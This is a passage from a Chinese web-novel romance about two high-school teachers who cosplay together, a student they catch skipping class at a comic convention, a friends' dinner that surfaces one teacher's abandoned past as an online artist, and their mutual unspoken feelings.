【你别说，低头签名的样子真的像批作业（bushi）】 【你老师就没认出来你？居然有空发帖】 赵遇京是看不懂，他甚至觉得自己拍的挺好的啊，有一种朦胧的美感。 回复：【没有啊我看了一眼就走了，他们出的好像还是cp呢！】 【那你愣着干嘛？快嗑啊！】 【真的假的，不太了解这个圈子但是看图好像挺好看的哎，博主能不能近点拍拍，看仔细点？】 赵遇京买到了吴尽夏想买的周边徽章，看着自己底下回复，也没当回事儿。 看就看呗，好看爱看。 嘻嘻！ 他再次挤过去，想多拍两张照片发群里给朋友们也看看。 这次，他还没拿出手机呢，就对上了简璃抬头的视线。 “赵、遇、京——” 赵遇京一愣。 听着这熟悉的字正腔圆的声音，他心中生出一股熟悉的恐惧感。 周围人的目光朝他看过去，又听离玉用似笑非笑的语气唤他。 “真巧啊。” 赵遇京感觉自己的尸体不太舒服了。 那他妈是他的真老师！！ 他转身开溜，被简璃跨出签售台长腿一追三两步就给逮住了。 全场哗然。 “还想跑，暑假逃补习班逃到京都来了？” 赵遇京被捏着耳朵惊恐摇头。 “简老师我错了啊啊啊我真的没认出来你和陶老师——别别别别……我错了我错了。” 不嘻嘻！！ 是哪个缺德的告诉简璃自己逃课的！ 展会周围的人一时间都笑抽了。 “我真是，怎么这么好笑啊哈哈哈哈哈哈他要碎了。” “服了怎么回事啊哈哈哈哈，他逃课被离玉给抓了？” “赵遇京？又是他我看过那个开幕式视频！哈哈哈哈哈原来离玉也是他老师哈哈哈哈。” “不是，离玉真老师啊？完了，我不敢对他发癫了怎么办，现在撤回那些言论还来得及吗？” “玉神骂学生也好温柔哎，扶光还去拦，好像一家三口啊！” 温柔个屁啊，粉丝滤镜太大了吧。 赵遇京震惊的想。 那是因为简璃在粉丝面前不好发作。 赵遇京知道要是在学校里，自己已经死了一百遍了，哪里只是轻轻捏耳朵这个程度。 陶与晴憋着笑拦了拦简璃，说：“算了算了，签售呢饶他一命。” 简璃听见陶与晴拦他，把赵遇京拎到签售台才松手。 陶与晴抱歉的对粉丝说：“不好意思啊大家稍微等一下，我们会和主办方商量一下加点时长，争取都签到。” “啊啊啊没事没事！” “两位继续！我们爱看我们爱看。” “公开处刑我不行了哈哈哈哈哈哈。” “哈哈哈哈哈哈哈哈节目效果拉满。” 简璃质问赵遇京：“暑假作业呢，补习班作业呢。” 赵遇京心虚：“我……我没带。” “包里装的什么，拿来。” 赵遇京逃课的时候非常聪明的带上了作业，为的是怕爸妈突然查岗自己能随时拿出来应付。 好了，这下真派上用场了。 赵遇京坐在签售台边上，抬眼是他的两个老师在微笑握手，和粉丝贴贴互动。 而自己低头，对上了几本作业纸。 服了。 自己没事儿带着作业出来干什么。 快写啊死手。 “两位老师，我我我，我今天没带无料，但是我带了一张高一的卷子，你们需要吗？没事儿这不是我的，我也是老师，这是复印剩下的。” 那个粉丝有意无意的看了一眼旁边补作业的赵遇京。 赵遇京：？ “太好了，”简璃非常和善的接过：“雪中送炭，谢谢你。” 陶与晴扶额低头，憋不住笑了。 “啊啊我也带了题我也带了题。” “我也有我也有！” 不是哥们？？ 一人开头，十人跟团。 粉丝争先恐后往台子上塞作业，陶与晴反复确认不会影响他们才收下的。 赵遇京摊在桌子上，拉陶与晴的手哼哼唧唧对着陶与晴撒娇：“陶老师——救救我——” 陶与晴有点心软：“这……” 简璃一记眼刀：“写你的。” 赵遇京缩了回去。 不嘻嘻不嘻嘻。 彻底老实。 这大概是离玉当嘉宾以来最混乱的一次签售，但是大家都看乐子看的很高兴。 除了赵遇京。 因为后续没有嘉宾接替，离玉扶光也不介意加个班，主办方最后还延长了一个小时，而赵遇京在众目睽睽下额外写了一个小时的作业。 不不不不…… 赵遇京欲哭无泪，在自己那条帖子下发评论。 【谁出的馊主意！嗑不了一点！我被两个老师一起逮了，他们在签售握手，我在他们签售台子上面补作业！！】 这段还被粉丝录下来发出去，几天就几十万的播放量。 【我勒个，漫展遇到真老师是什么体验？我原本只知道扶光是老师，没想到离玉也是啊！录了一小段，画质不太好大家凑合看，真的是笑死我了，这位小同学太倒霉了吧逛个展子被两个老师抓哈哈哈哈后面还被大家的热情作业给淹了】 【简直名场面，笑死我了我的天】 【小赵同学往那一坐跟个小蛋糕似的，姐姐不介意等你长大哈哈哈哈】 【很抱歉以这种方式认识你，赵遇京同学】 【扶光是真的好温柔啊，学生都对他撒娇哎，虽然被离玉一个眼神给瞪回去了（）】 【逃补习班就算了还对我老婆撒娇？准备用眼神去瞪.jpg】 【离玉好反差啊啊啊！感觉更帅了，好有威慑力！又符合人物了离玉老师……真老师。】 【这我还搞个集贸同人啊，合着你俩是同事近水楼台，我还活个集贸啊，这就是真情侣，杀了我给两位助助兴】 【虽然但是，离玉老师之前一直在京都，扶光是一直在祁城吧，他们应该是去年才当上同事的】 【不觉得更好嗑吗？发现七年的网恋对象和大佬是我同事什么的，天降白月光香飞了，这要是党争离玉包赢的啊】 【离玉：看好了，玉光是这样搞的（比划）】 【啊啊啊啊我操原来离玉也是我们学校老师啊啊啊啊，怎么还不开学快开学啊！！最想开学的一次！死学快开啊！】 【你们学校缺不缺保洁，我可以去洗厕所】 【缺不缺保安，我可以去少走十年弯路】 【缺地毯吗，我可以去趴着】 【缺猴子吗，我什么都不会干考试也考不好但是我可以对着两位老师的盛世美颜猴叫】 邓留萤美滋滋的点开视频，想看看玉光的绝美爱情，对着他们家陶老师和离玉老师发发癫什么的。 ……给她干哪儿来了？！ 简璃前两天还回复她举报有功，合着是言出法随的意思？ 他是离玉？！ 邓留萤两眼一黑，差点没一口气撅过去。 不要啊不要啊！ 她抱着自己可怜弱小又无助的在床上打滚。 离玉不要变成简老师啊，不要啊—— 也就是说之前她爬来爬去根本没爬出一个坑是吧？！ 这几天产粮瞬间又翻了一倍，不少画手都画了赵遇京在扶光离玉边上补作业的可爱一幕，换做以前邓留萤一定畅游在同人里，爽吃。 但是现在她再也不敢点进车文和黄图了。 再也不敢了。 甚至看清水粮里都接受不了一点的ooc。 并且有一种嗑熟人长辈cp的背德感。 偷感还蛮重的…… 而赵遇京在漫展结束当天，被朋友果断抛弃，有幸和各路coser、手作、化妆大佬，坐在一张桌子上吃饭。 他也配……？ 这是他最老实的一次，话都不敢说密了。 饭桌上，无梦听完了过程，也是想笑，看了看赵遇京说：“这个是你们学生啊，怪不得刚才展子上围了这么多人，我和玥玥都挤不进去。” 她旁边坐着她的女朋友翟玥，长得出挑落落大方，风格和无梦截然相反，看起来跟小姑娘似的，显年轻。 “臭小子，”简璃用筷子另一头敲了一下赵遇京：“看你下次还敢不敢。” “真的不敢了简老师……” 他就说离玉是简璃邓留萤不信，现在好了，他倒是被献祭出来了。 “好了好了别吓唬他了，”陶与晴夹了一块虾给简璃，说：“吃饭吃饭，消消气。” 简璃被顺了顺毛，不计较了。 翟玥笑着说：“扶光老师和离玉老师一个学校的吗？” “对，”陶与晴热情的回复她：“我们去年一起带高一，开学他们就高二了。” 翟玥：“做老师很辛苦吧？我之前也考虑过来着。” 陶与晴：“也还好，遇见这些有想法的学生，还是挺有意思的，翟玥你是在外企吗？工作强度会不会很大。” “我是我们公司的翻译，平时出差挺多的，主要是……” 他们俩聊的其乐融融，简璃和无梦对视一眼，拍拍她肩膀，说：“陪我出去买瓶水，你们吃。” 无梦疑惑的看他一眼，起身和他一起出去。 “憋什么坏水呢，”无梦撩了一把头发，不信简璃真的是叫她出来买水的：“说来听听吧。” “是一些私人情感上的问题，向你请教一下。” “哦？” 无梦和简璃一起坐在饭店门口的楼梯上，没有刻意凹造型，路过的人都会情不自禁看他们一眼，因为这样两个人坐在楼梯上画面奇怪的好看。 尤其简璃还没换衣服，古风长发，英气十足。 酷哥和酷姐。 无梦并不意外，说：“早看出来了，你干嘛还不表白，你知道你们家扶光这个条件在相亲局里多受欢迎吗。” 一提到相亲简璃更加皱眉：“……我们是同事，抬头不见低头见的，而且他的性格，要是他拒绝了我估计比我还尴尬。” “我觉得扶光还挺喜欢你的啊。”无梦说。 “谢谢，他确实对人真诚又温柔，哪都好。” 无梦给他个鄙视恋爱脑的白眼：“……你要是来秀的那我回去了。” “坐坐坐，说正经的，”简璃言归正传，说：“……再说，我一开始对他态度不是那么友好，可能扣了点印象分，想问问你是怎么把翟玥追到手的，参考参考。” “……这个问题……”无梦说：“有没有可能我是被追的那一个啊，离玉老师。” “互删吧。” 无梦摁住简璃拿手机的手，说：“知道你急了但是你别急，虽然我不能告诉你怎么追人，但是我确实可以告诉你怎么挽回印象分。” “……你不是被追的那个吗？” 无梦有些尴尬的移开目光：“……被追就不能挽回印象分吗，当时有眼无珠拒绝人家几次不行啊。” “哦——”简璃总结：“人家追你的时候你看不上，现在真香了天天粘着人家摇尾巴。” 无梦睨了他一眼：“你一定要和我五十步笑百步吗？” 简璃：“我……只是有自己的节奏。” 无梦：“我、也只是有自己的个性。” 简璃认同这个话题对他们两个都不利，所以他们放弃互相伤害。 “首先呢，你要方方面面的照顾人家的生活，有事儿没事儿送点礼物，认错服软一定要快，时不时叮嘱他吃饭呀喝水呀之类的，明白吗。” 简璃沉默了。 送礼物没问题，但是陶与晴平时不爱收，两个人一直都是有来有回的，有说不上来的边界感。 认错他很快的，但是陶与晴生气了不是认错就能哄好的，而且能把陶与晴给惹生气他确实挺厉害的…… 至于吃饭喝水，好像是陶与晴嘱咐他比较多点，家务事也是陶与晴懂得多。 稍微有点惭愧了，简老师。 “……这些你要是都不行，你就多暗示他一点，比如他会不会反感你肢体接触什么的？” “不，但是我知道他就是很容易害羞，肢体接触看不出来什么。” 无梦说：“实在不行你就摊牌吧，反正你本来也没想和人家做同事，一不做二不休。” “你说，”简璃开始思考：“我有没有一种可能，让他来和我表白，就不怕被拒绝了。” “你要是真有这个本事那你也挺厉害，”无梦拍拍他的肩膀：“梦里面什么都有。” “……” 回到饭店，陶与晴奇怪的看向他们，说：“你们买水买了半个小时？” 简璃：“我们想买的水附近都没有。” 无梦：“嗯。” 翟玥：“那快吃饭吧，菜都凉了。” 陶与晴接过简璃拧开的矿泉水。 ……不就是普通的矿泉水吗，有什么好找不到的。 悄悄摸摸的干什么去了。 陶与晴戳了戳碗里简璃夹的肉。 走出饭店之后，陶与晴问赵遇京：“你一个人来的？住在哪儿呢，什么时候回去。” “我住我朋友家，打算明天就回去的，”赵遇京对着陶与晴嬉皮笑脸：“陶老师，我真知道错了，不用再罚了吧，数学作业……” “下次去哪里一定要和父母说清楚知道吗，这样子一个人出来多危险啊，”陶与晴拍拍他的头，说：“下不为例。” “好好，我知道了。”赵遇京眼神一点点去看陶与晴后面站着的，正在和无梦翟玥聊天的简璃，他们还没换cos服呢，帅是真的帅，但是一想到是他老师又…… 赵遇京小声说：“老师，你们两个在学校不会被女同学找上班吗？” “有啊，”陶与晴说：“但是要合照和签名的都被你们简老师赶走了，之后就没什么人来了。” “……怪不得我有时候看见窗户外面站几个女同学朝里面看，合着不是看我们班男同学的啊，”赵遇京摇摇头：“哎，你们的光辉太强大了。” “别贫嘴了，”陶与晴无奈一笑，说：“你住哪，送你回去吧？” “这个……” 也不知道朋友家还能不能回……这要是过去他不得被笑死。 虽然他脸皮厚，但是也不至于子弹都打不穿吧。 “……要不然，”陶与晴看出他有所顾虑，主动提出：“我和简老师明天也要回去，要不然一起吧。” “好啊好啊！”赵遇京刚答应又有些后悔，看了看简璃，“但是简老师他能同意吗？” “他同意啊，一起住一晚上，没什么的，”陶与晴扭头说：“简老师——” 简璃有求必应，扭头：“在，怎么了。” “遇京没地方回，和我们住一晚上行吗？” “……听你的，你说行就行。” “你看，”陶与晴笑了笑看向赵遇京：“虽然说你们简老师总是吓唬你们，但是他人很好的。” 真的……吗……？ 赵遇京总感觉简璃并不乐意呢。 无梦在不远处嘲笑一下，说：“还要和学生争宠，追妻路漫漫啊。” “……那是他善良，”简璃说：“品德好。” 翟玥挽着无梦说：“离玉老师，加油。” 简璃从翟玥的眼神里品出了一丝同情。 但是他无法反驳。 班上五十多个小娃娃都得和他争呢。 每三年还换一批，不带重样的。 无梦和翟玥住的离这里不远，考虑到她们是女孩子，所以几个人散步着送回去也当消消食了。 陶与晴和翟玥聊了很多工作上的事情，互相对对方的职业都很感兴趣。 原来翟玥是个同声翻译，平时经常出差，和无梦异国恋了一年，两个人倒也没特别不适应，去之前一起在京都买了房子，无梦回来以后房子装修好了一起住。 无梦去国外进修绘画其实是几年前的想法了，她很喜欢国外一位老师的作品，一直想和他学习，但是一直耽搁，这才完成了一桩心事。 翟玥看了一眼无梦说：“她从小就爱画画，对她来说画画是一种放松，虽然我看不太懂那些作品，但是觉得只要是她画的都好看。” 陶与晴特别懂这种热爱的感觉，说：“以前我也学过一段时间画画，虽然很久没画了，但是能懂。” “扶光老师也会画画？”翟玥很快反应过来，说：“也是，看你做假发的分层，感觉是有绘画技巧。” “我没学多久，画技不精，献丑献丑，”陶与晴说：“无梦老师是什么时候学的？很辛苦吧。” “小学？”无梦回忆，说：“中间有一段时间其实一度学不下去，说起来是网上看见一个老师特别有灵气的作品，被他的画感染。” “不过当时我在上学，没有常去关注，”无梦说起来还有些伤感：“很可惜的是，那个老师不知道为什么把账号给注销了，之后就没音讯了。” 第54章 陶与晴听到这里，瞬间站住。 “……什么？” 简璃没说话，只是去看陶与晴的表情。 无梦也停下，以为他只是对这个事情感兴趣，就解释说：“对，他销号以后有好多人都很遗憾，不过我翻了翻，没什么人解释事情经过，七七八八的，大概是被三次元的人给开盒了？” 翟玥说：“如果真是这样那太遗憾了，希望他现在还在画画，一定是很厉害的画手。” 陶与晴一时失去方寸，声量都大了些许：“你还记得他ID叫什么名字吗？” “这个我记得，他的ID叫秋水落日，我记得的，”无梦说：“初中就很喜欢他的画。” 陶与晴表情复杂：“……十几年了，你还记得？” “当然，我还挺怀念当时的圈子，大家都简简单单的，而且……怎么了，”无梦说到一半，问：“扶光？” 陶与晴用力笑了笑，说：“无梦……你现在是很厉害的画手，很棒。” 能够被人记住，能够激励到曾经的同好，陶与晴是开心的。 ……这样就挺好。 “哪有，我还远远不够呢，不过谢谢夸奖，”无梦也笑着说：“我们都不是小孩子了，但都是优秀的人。” 无梦和翟玥对他们挥手告别之后，陶与晴又走了一段路，停下。 他感到自己的手被人给握住了，是简璃。 那人安静的摩挲他的手背，他才发现原来他手上出了很多冷汗，他自己都不知道。 “陶老师……”赵遇京也觉得他表情不太对劲，问：“不太舒服啊？” “……没事，”陶与晴回握住，摇摇头：“先带你回去拿行李吧，回去的票买了吗。” “还没……” 陶与晴强撑起语气：“那一起买吧？刚好不用分开坐了。” 赵遇京看见他们牵手，倒没什么别的想法，但是他觉得陶与晴心情不太好的样子，想了想，一时间连他都想不到什么活跃气氛的话，只好说：“那我先回去我朋友家拿东西，离这里不远，我行李不多的，就一个大点的包。” 怕是只有简老师能知道原因了吧。 “我们……” “老师你们等我吧，”赵遇京小跑两步回头说：“我突然很想跑跑步，就在这儿等我啊！” 他可真是个小机灵鬼，说不定开学简老师觉得他戴罪立功，还会对他网开一面！ 他可太有眼力见了。 赵遇京在心里暗夸自己。 “这臭小子……” 简璃当然一眼看出他故意的，不过反正他也想单独问问陶与晴，就接了这个人情。 简璃拉着他让他面对自己，说：“‘秋水明落日，流光灭远山’出自《杜陵绝句》……是你。” “……挺明显的吗。” “嗯，因为你和我说过这件事，”简璃问：“为什么不告诉她是你。” “……我不想让她知道我已经不画画了，也画不出当年的感觉了，”陶与晴情不自禁握紧了简璃的手，说：“给别人留下念想是一种美德对吧。” 简璃低声：“但……” “我很喜欢我现在的状态，”陶与晴忽然打断他，浅浅笑了，语速也有点快，像是极力证明说：“我喜欢做老师，遇到这些孩子们我很高兴，我觉得这个职业非常的有意义。” 陶与晴真心喜欢这个职业。 真心喜欢。 ……也真心遗憾。 他不遗憾自己没有成为一个画家。 他只是遗憾自己再没有当年的“灵气”了。 哪怕让他照着自己的来画，他也复刻不出来。 这太残酷了。 他说着说着就哽咽了：“而且人生就是会有遗憾的……人生就是……” 简璃什么都没说，伸手抱住他，就像当初在校门口他抱住自己一样。 陶与晴声音闷闷的，还带了点鼻音，不知道是不是故意不解风情：“粉底蹭到你c服上了……” 简璃接话：“管他呢。” 就是想抱抱他。 …… 晚上到家，简璃和陶与晴默契的没提刚才的事情，赵遇京主动要求睡地铺。 “你还是小孩子，”陶与晴刚洗好澡正在擦头发，状态好了不少，说：“怎么能睡地上呢。” “我睡姿很差的陶老师，”赵遇京挠挠头，说：“你和简老师谁和我一张床，都会被我踹到的，那不是罪过大了？” 简璃从后面接管陶与晴头上的毛巾替他擦：“他都这样说了，就让他睡地上好了。” “……那怎么行。” 赵遇京丝滑躺下：“晚安陶老师。” 好小子，简璃决定不和他计较今天的事了。 赵遇京看见了简璃赞许的目光，暗自拍拍胸脯。 包的啊简老师，给他减点作业就行。 陶与晴更是奇怪，前两天明明怎么都不愿意和自己同床的简璃忽然变卦了。 ……该不会是刚才抱了一下…… 赵遇京是看陶与晴的脸色好了很多，看来简老师的安慰果然还是很有用的。 这都得归功于他跑了一公里路，这对于他一个跑八百都难受的人来说，来回一公里简直是要命。 他可真是勇敢牺牲啊。 赵遇京暗爽甚至没听见陶与晴在叫他，回过神来问：“怎么了陶老师。” “老师是想问，”陶与晴觉得问这个问题还尚早，但是经历过刚才那一下，有些担心：“你以后想做什么职业呢，有没有什么想之类的。” “……这个……” 这个问题把赵遇京给问到了。 其实他没想这么多，也没有什么特别想做的事。 赵遇京一时沉默，鲜少的没有插科打诨蒙混过去。 未来想做什么。 这是一个很发人深省的问题。 ……想做什么呢。 非要说的话，他喜欢自在一点的职业，至少目前他觉得，他不想成为被磨平棱角的“大人”。 他想自己永远开朗，永远有想象力。 怎么回事呢—— 赵遇京想：这还没高二，自己已经不想毕业了。 “无拘无束顺便就把钱赚了的职业。” 简璃毫不客气的泼冷水：“想的挺美。” “哈哈哈哈哈简老师不要这么快点破我嘛。” 陶与晴无奈的摇摇头，孩子现在想不到，他也就不追问了，只希望他们以后都能开开心心的，做什么职业都行。 然后一直聊到夜里，陶与晴看赵遇京困了，就关了灯，自己也埋进被子里。 要命的是，民宿的被子不够用了，他只能和简璃盖一个。 那个人的体温近在咫尺，陶与晴脸热得很，扭头去看赵遇京，发现这个没心没肺的小子已经呼呼大睡了，哪里像是还能协商的样子。 简璃仰面躺着，倒是没有别的动作。 陶与晴适应了一会，转过身去看他，发现他闭着眼睛，呼吸均匀，似乎也睡着了。 陶与晴觉得……刚才在路上自己有点失态了。 但简璃什么都没说。 简璃那样做，只是出于同事之间的安慰吗？ 陶与晴不动声色往他那边靠了靠，心脏跳动的声音在静谧的夜晚更明显了。 他不觉得简璃会那样安慰别人。 陶与晴觉得简璃好像有点儿喜欢自己…… ……真的假的。 被他的任何风吹草动带着走，去猜他乱七八糟的心思，辗转难眠，期待他能出现在自己梦里—— 暗恋真是一件烦心事。 陶与晴头轻轻抵在简璃的肩膀，呼吸减缓，小心翼翼感受他的体温，进入梦乡。 然后，简璃没有出现在他梦里。 他做了个噩梦。 梦见了初中。 梦见自己的ID被贴出来放在大屏幕上。 梦见那个脸都记不清的始作俑者在笑，带着其他人一起。 然后陶与晴看见自己拿起画笔，却什么都画不出来，耳朵边滋滋啦啦的有人在说话，但是陶与晴听不清，只觉得莫名的好难过。 不……不要…… 简璃几乎是惊醒，听见陶与晴在自己耳边呢喃着说梦话。 说话声音很小，只是他对陶与晴的声音太敏感。 而且他听见陶与晴在哭。 他转身把人搂进怀里抱紧，轻轻拍拍他的背。 “我在呢，好了好了，没事了……” 怀里人的抽泣声逐渐减缓，简璃却没敢睡着。 ……如果有机会。 他抱紧陶与晴几乎有些气急的想。 ……一定要把那个带头的混蛋揪出来打一顿。 梦里，陶与晴手里的画笔变成了一只粉笔。 他看着自己擦擦眼泪回头，班里的学生在等他讲课。 简璃站在，把手放在他肩膀上。 【下了晚自习，一起回家。】 陶与晴醒来，感觉到脸侧的枕头有些打湿了。 坐起来缓了一会，才从梦里出来。 后半段是个挺好的梦。 真意外。 “陶老师你醒啦，”赵遇京从厕所里探出头，一边刷牙一边含糊不清说：“简老师去买早饭了一会回来——” “好……” 京都的航班很多，现在也比过年那段时间好买票，三个人买的下午的，回到祁城应该是傍晚。 陶与晴起来换了衣服，了头发。 简璃开门回来，手里领着袋子，里面装着包子豆浆油条什么的。 赵遇京正是长身体的年纪，胃口大，一边炫早饭一边还拍照发群里。 【小班长你快改群名！】（墨镜）谁和简老师陶老师一起吃饭啊，是我啊。 【无尽花会开】：陶老师和简老师都在京都呀？ 【雨】：那简老师怎么没揍你？ 【小班长你快改群名！】：我能被揍吗？我怎么可能被揍，开玩笑。 【小班长你快改群名！】：我最多也就是写了几个小时作业而已：） 【不改你跳吧（群主）】：一点都不意外。 “吃饭别玩手机，”简璃说：“一会要去机场。” 因为陶与晴和赵遇京起的都比较晚，所以其实现在已经是接近中午了，这一片的确里漫展很近，但是缺点是里机场还蛮远的。 赵遇京非常老实的关了手机吃东西，毕竟他昨天刚给简璃刷了点好感，可不能打回原形。 那包里还放着莫名其妙多出来的十几张卷子呢。 京都的机场比较大，到了以后找了好一会地方，还好到了机场飞机没延误，三个人顺利的登机了。 赵遇京坐在靠窗的位置，简璃坐在走廊边，陶与晴坐在中间，侧头看简璃的脸。 他发问：“有点憔悴啊简老师，昨天没睡好？” 可不是没睡好啊，抱着人都不敢闭眼。 万一又做噩梦怎么办。 简璃：“有点。” 陶与晴看了看他，坐直了。 他指指自己的肩膀：“睡会吧，反正飞机上也没事干。” 简璃盯着他的肩膀看了一会，没拒绝，偏头靠上去。 陶与晴调整了一下坐姿，让他靠的舒服点，伸手取掉了他的眼镜。 飞机刚起飞不久，赵遇京也打了个哈欠，然后陶与晴又指了指自己另一个肩膀。 他后半夜睡的挺好，这会不怎么困，靠着座位发呆，一边一个脑袋。 空姐推着餐车路过的时候忍不住笑了，觉得非常温馨，小声的问他需不需要毛毯。 陶与晴要来两条，搭在他俩身上。 飞机落地之前两个人就醒了，陶与晴和简璃决定先把赵遇京给送回去。 考虑到肚子都饿了，飞机上的食物味道很一般，所以先附近找了个饭店，吃个饭再说。 “完了，”菜还没上呢，赵遇京看了一眼手机说：“我爸妈回来了，完了。” 简璃早就料到有这天，说：“你逃课出来的时候就该想到的。” “陶老师——” “我不会无缘无故帮你圆谎的啊，”陶与晴婉拒：“老老实实和爸爸妈妈交代吧，听话。” “……” 赵遇京叹了口气，咬吸管。 把他送到门口，赵遇京的父母出来接他，连声和简璃陶与晴道谢。 “实在是不好意思啊老师，”赵爸说：“这孩子太皮了，管不住，我们一定好好批评。” “没犯什么大事儿，他平时挺机灵的，”陶与晴说：“但是这次属实不应该，得说他两句。” “是是是，麻烦你们还给人送回来，一定说他，”赵爸说：“老师慢走啊，谢谢啊谢谢。” 陶与晴和简璃走掉还没到家，就看见赵遇京在班级群里发。 【赵遇京】：丸辣。 【赵遇京】：（图片） 是面前一堆作业的图片。 简璃收起手机，说：“天道有轮回，可不是我给他加的作业。” “突然想起来，漫展上粉丝给的卷子和作业好像还在他包里呢，”陶与晴说：“不知道他父母会不会发现……” 赵遇京私聊了陶与晴。 【赵遇京】：陶老师，我爸知道你和简老师请我吃了饭，非要我开学把钱给你们。 【赵遇京】：那什么，咱们开学能只收钱，不收作业吗？ 这是什么赤裸裸的贿赂。 简璃接过陶与晴的手机，打字。 【陶与晴】：做梦，老实把作业都写完，不多罚你点已经很仁慈了别蹬鼻子上脸啊。 【赵遇京】：……知道了简老师，把手机还给陶老师吧，您顶着这个ID说话怪吓人的。 “算他看出来了，”简璃把手机还给陶与晴：“没意思。” 陶与晴笑了笑：“你这语气太明显了吧。” 两个人走进同一个小区，站在两栋楼楼下却谁也不想回去似的。 “天黑了，那个……”陶与晴拿着自己的行李，说：“晚安……？” “昂，嗯……”简璃有点舍不得。 “那我，”陶与晴率先迈出一步：“先走了。” 简璃拉住他。 “明天……明天你出门吗。” “我、”陶与晴愣了一会，迅速点头：“可以。” “那明天，一起去周边店逛逛？这次漫展都没逛什么摊位。” “好啊……” 陶与晴答应了，简璃才松手。 “你除了约我去逛周边店，”陶与晴视线看着路边的灯柱，看起来像是盯着那处发呆，说：“就没有别的要说的吗……” 比如说…… 如果你…… “我、”简璃别扭了半天那句话在喉咙里打了个转又回去了，说：“……早点休息。” “……哦，好。” 哼。 陶与晴觉得简璃一点都不坦率。 第二天，在家选了半天衣服的陶与晴听见了自己门铃在响。 “来了，”陶与晴一边走过去一边说：“你不是知道密码吗，直接进……” 打开门一看，不是简璃。 是年级王主任。 “主任？”陶与晴一下子眼睛就瞪大了，说：“您、您怎么会来？” “小陶啊，不请自来打扰了。” “不会不会，快请进。” 年级主任之前确实一直很照顾陶与晴，但是还没有这样直接上门过，陶与晴感觉到可能是有什么要事和自己商量。 他倒了杯茶，给沙发上的主任递过去。 “……是有什么学校里的事情吗？” “那个，也不算大事，”年级主任比较老道，一开始没有进入正题，而是和陶与晴闲聊起来：“说起来前两天我看手机看见你了，陶老师平时有业余爱好？” “啊，对，一点小爱好，”陶与晴瞬间坐直了，有点紧张：“是、是有什么问题吗，太抛头露面了？” 看他这么紧张，主任笑了笑说：“害，没有没有，你别紧张，虽然我是不太懂，但是呢你们年轻人有朝气是好事啊，时代变了嘛，想做什么只要不影响学校的工作就行。” 陶与晴这才松了口气说：“您说的对，吓死我了……” “哎而且我闺女特别喜欢你，她和你差不多大啊小陶，有没有兴趣……” “不了主任，”陶与晴迅速尴尬的说：“我有喜欢的人了。” “哦这样，没事没事，”主任喝了一口茶，说：“那你改天有机会，帮我看看那个软件怎么玩儿的，我闺女老嫌我和她没有共同话题，我得学学。” “好的，没问题……”陶与晴小心翼翼的又问：“您找我……到底是什么事啊？” “呃，”主任缓和好气氛，这才开口：“你和简老师，平时关系很好对吧，看其他老师说你们经常在一起。” “……对，”陶与晴又说：“简璃他、工作一直很认真，没有受任何事情影响，真的。” “是是，”主任说：“好吧，其实是这样——京都那边的学校，问我们要人，想让简老师回京都那边发展，我这也是前两天才知道，不然也不会放假还来找你是不是，我是想你和简老师关系好的话，你能不能……” “也不是说非要人家留下来，就是你能不能多去劝劝，毕竟因为简老师和你，2班的整体成绩提高了很多，我这也是怕如果下学期简老师走了，同学们会不适应。” 主任一席话，把陶与晴打了个措手不及。 “……让简璃去京都？什么时候的事情。” 主任接着说：“没个准话，他们也只是问问，但毕竟人家那边条件更好，我还是挺担心简老师的选择，今天一早路过，就特意来和你说说。” 陶与晴靠在沙发上，表情有些沉重。 “这个事儿说大也不大，你们年轻人好好沟通沟通，看看他的想法，开学的时候再答复，”主任说：“我想你们之间可能更好沟通一点，小陶你一直是我们学校最受欢迎的老师嘛，所以我找你聊聊。” 主任的意思陶与晴明白，他也肯定不想简璃莫名其妙的走掉，所以假期开始没多久就找上自己了。 主任又说了两句，起身说：“那我不打扰了，情况就是这么个情况，小陶你也别有压力，我们还是尊重个人选择。” 主任说完这句，就离开了。 留下陶与晴一个人坐在沙发上思考人生。 去京都发展确实更好……可是…… 陶与晴已经不能习惯没有简璃的学校了。 而且、为什么简璃从来没提过有学校来找他的事情呢？ 难道他……想走吗？这次带他去以前的学校，是不是也有这个原因…… 在沙发上坐了很久，陶与晴听见了一阵开门声。 “发消息打电话你怎么都没回，”简璃看见陶与晴坐在客厅沙发上才松了口气，还以为他又像上次那样在家生病了，“怎么了这是……” 陶与晴还穿着家居服，有些慵懒感，但是和平时最不同的是他现在紧锁的眉头。 陶与晴看见简璃，站起来，一时间也不知道要说什么，思索了片刻，问：“期末的时候……有学校找过你吗？让你回京都？” 简璃看着他，眨眨眼，点头：“对，你怎么知道。” “刚才主任找过我，和我说了这个事情……” “这事儿啊，我早……”简璃刚想说些什么，发现陶与晴的表情不对劲。 那个表情混杂着一些委屈和哀怨，似乎对这件事非常的不满。 他刚止住话头，陶与晴就急切的说：“你——是不是想离开一中。” 简璃心中过了一堆弹幕之后，逐渐汇聚成一个想法。 他家陶老师这是…… 舍不得他？ 第55章 简璃沉默片刻，走近陶与晴。 “对，我在考虑，还没确定。” 他靠近一步，陶与晴后退一步，渐渐逼近，陶与晴没站稳坐在沙发上。 “陶老师、想我走还是想我留。” 简璃撑着沙发把人圈住，陶与晴看他的眼神很认真，心头一紧。 “我……我……” “你说，”简璃循循善诱：“想我走吗。” “不、不想……” 陶与晴脸被逼的通红，不知怎么，他好像变成了被审讯的犯人似的。 好近……甚至能感觉到简璃的气息。 “为什么？” 他听见他低沉着声音发问。 “因为……” 简璃继续说：“你不说……那我可要走了。” 陶与晴暗道不好，他已经完全不能思考了，脑子里在疯狂打转。 可是他越这样慌乱，简璃就逼的越紧，质疑要撬开他的嘴，套出那点机密情报。 陶与晴可不喜欢如此被动，他会方寸大乱的。 陶与晴喜欢简璃。 简璃在心中已然明了，暗自感叹陶老师害羞的时候真是可爱极了，可惜那些粉丝们全都看不到。 马上，他一定要听见陶与晴亲口说喜欢他。 而下一秒，他始料未及的是——脸侧印上了温热一吻。 简璃逼近人的动作一僵：“……” 陶与晴仰头闭眼，亲在他的侧脸上，空气骤然安静。 然后嘴唇缓缓移开。 做完这个举动，不光简璃懵，陶与晴自己也挺懵的。 他反应过来，迅速从简璃手臂处钻出来。 “我去换衣服……！” 简璃留在原地愣了很久，摸了摸自己的脸。 然后捂住嘴，耳尖变红。 坏了。 流程不对…… ……但是他要笑出声了。 …… 房间里陶与晴深呼吸了几下，抱紧一件衣服遮住脸。 他都干了什么……！ 这要怎么解释……还有简璃刚才那是—— 本来他还想听简璃表白的……！ 救命救命救命…… 陶与晴又不好意思把人晾在外面太久，随便穿了一件就开了门。 他半开着门悄悄探出去，想观察一下那个人的反应。 应该……应该不会跑了吧。 难道自己猜测他喜欢自己，是错的？ 